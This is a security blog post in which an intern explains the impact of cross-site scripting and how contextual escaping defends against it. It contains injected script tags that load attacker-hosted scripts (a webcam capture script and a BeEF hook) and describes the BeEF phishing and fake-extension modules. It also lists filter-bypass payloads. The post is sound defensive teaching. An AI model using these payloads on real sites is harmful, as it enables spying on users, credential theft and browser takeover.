11 Sep, 2015

Crossed by Cross-Site-Scripting: Exploring the Impact of XSS

by Nikhil Charles

When I started my summer internship at nVisium, I was very new to the world of application security. One of my first tasks was to become familiar with the OWASP Top Ten. It took some time for me to understand the impact of these vulnerabilities, but XSS seemed rather harmless given that all the proof-of-concept exploits were simply alert boxes saying “xss.” It turns out, however, that XSS is far more dangerous than it appeared at first glance.

In this post, we’ll explore some of the risks associated with XSS and how you can defend your own applications from this type of attack.

Exploitation

For this first example, I wrote a bit of JavaScript code that takes pictures through the user’s webcam every few seconds. The code uses the <video> functionality introduced in HTML5 and is based on the code provided in this tutorial.

After confirming the existence of an XSS vulnerability by generating an alert box, we can attempt to load our script in the victim’s browser by injecting <script src=http://{IP of our server}/camera.js></script>. The victim will receive a prompt from the browser requesting permission for the webcam. With some social engineering tricks, we might be able to convince the user to accept. Upon granting permission, the script proceeds to take pictures every few seconds.

The pictures are stored as base64-encoded strings that look like this:

data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAUAAAADICAYAAACZBDirAAAgAElEQVR4nFy7Z3Md22GmC4AgSIIgwHR4

Below is an image from a proof-of-concept website that runs the script and displays the images back to the user. With some modification, we can send the picture data to a server that we control.

Instead of writing our own scripts to exploit XSS vulnerabilities, we can use tools such as BeEF to play around with the browser we’ve exploited. BeEF, short for The Browser Exploitation Framework, is a tool designed for security professionals that focuses on the quirks and vulnerabilities found in web browsers. BeEF takes full advantage of the fact that web browsers are the most common method of accessing the internet, recognizing that they are complex conglomerations of plugins and RFCs and their users are ripe for a handful of social engineering tricks.

Like before, our goal is to load a script under our control in the victim’s browser. This time we inject <script src="http://{IP address of BeEF}:3000/hook.js"></script> in order to “hook” the user.

Hooking is a term used to describe the process of an attacker taking control of a victim’s browser. When the hook.js script loads, it polls the attacker’s BeEF server by continually submitting GET requests to the server. If the corresponding HTTP responses contain the attacker’s commands, the hooked browser will attempt to execute them and send the results back to the server. The polling continues until the victim closes his browser.

After hooking a browser, the attacker has a variety of commands for interacting with the victim’s browser. Let’s look at an example of what we can do.

One way we can increase our control is by convincing the victim to install browser extensions. Again, the hooked browser will continue polling the BeEF server until the browser is closed. However, if we manage to install our own extension in the victim’s browser, then we can exercise control across multiple browser sessions.

Using the Fake Notification Bar module, we generate a message that can trick the victim into installing an extension of our choice. The extension we choose to install can be a keylogger or some other malicious software.

In addition to downloading software on the victim’s browser, BeEF can also be used for phishing attacks. For instance, an attacker could use the Pretty Theft module to attempt to steal the victim’s Facebook login credentials. On the victim browser, a dialog pops up saying that the user’s Facebook session has expired. If this is timed correctly, this sort of attack can be quite convincing. If the victim enters his username and password, the information will show up in BeEF’s Module Results History column.

There is a wide selection of modules that can be used to interact with the victim’s browser. These modules include:

  • Integrating with Metasploit to extend the attack beyond the browser
  • Rewriting links so that they point to other (potentially malicious) locations
  • Stealing browser autocomplete data
  • Accessing cookies from the compromised site

It’s interesting to note that some modules (like the ones we’ve used), require a degree of user interaction to be used successfully. Others, such as those used for browser fingerprinting, can go completely unnoticed by the victim.

Protecting Against XSS

Exploits like the ones in this post were a huge wake-up call for me. Suddenly the impact of XSS vulnerabilities transformed from boring alert boxes to sophisticated phishing attacks and complete browser takeover. Now that we better understand why XSS is considered one of the highest risks for today’s web applications, let’s take a look at some strategies for securing web applications against this vulnerability.

One thing to recognize is that filters are not adequate for defending against XSS. Suppose we have a filter that strips out the string <script> from user-supplied data. Bypassing this filter could be as simple as inputting <scr<script>ipt> or <ScRiPt>. Even if the filter is strong enough to beat those attacks, an attacker might be able to get away with <img src=a onerror="alert(1)">. OWASP has a cheat sheet for bypassing all sorts of filters, so clearly we need something stronger.

In order to successfully protect applications from XSS vulnerabilities, we need to employ contextual escaping. What does this mean? Essentially, user-supplied data should be treated differently based on where it’s going to end up. <div>USER-SUPPLIED DATA</div> is very different from <img src=USER-SUPPLIED DATA> and each context should be handled separately. In the first case, we can use an HTML escaping function to make sure that characters such as < and > are converted to &lt; and &gt;, respectively. This will prevent the browser from rendering the data as valid HTML. Many web application frameworks have functions that can do this for you.

HTML escaping is useful, but it’s not suitable for all contexts. In the second example, we can supply a string like x onerror=alert(1). This completed tag will look like <img src=x onerror=alert(1)>, and our XSS will get past the escaping function. So we need to use a different approach for this context. We must use an escaping function that specifically handles data for HTML attributes.

The lesson here is that user-supplied data must be escaped in a way that is appropriate for the context in which it is being placed. This depends on how the website handles the data and will be different for every application.

For other contexts, refer to the rules in the OWASP XSS Prevention Cheat Sheet. Keep in mind that there are some places in which user-supplied data should never be placed, like within a pair of script tags: <script>USER-SUPPLIED DATA</script>. While it may be possible to implement this safely for a specific scenario, it’s easy to get wrong. In most cases, there are safer methods of handling user data.

Take-aways

Don’t make the mistake that I made thinking that simple alert boxes were all there is to Cross-Site Scripting. XSS vulnerabilities can be far more devastating. As we have seen, an attacker can control a user’s web browser and take pictures or perform other actions on the victim. As you go about writing your web applications, take care to properly encode user-supplied data based on the context. It will go a long way in protecting your users and your applications from this type of attack.

References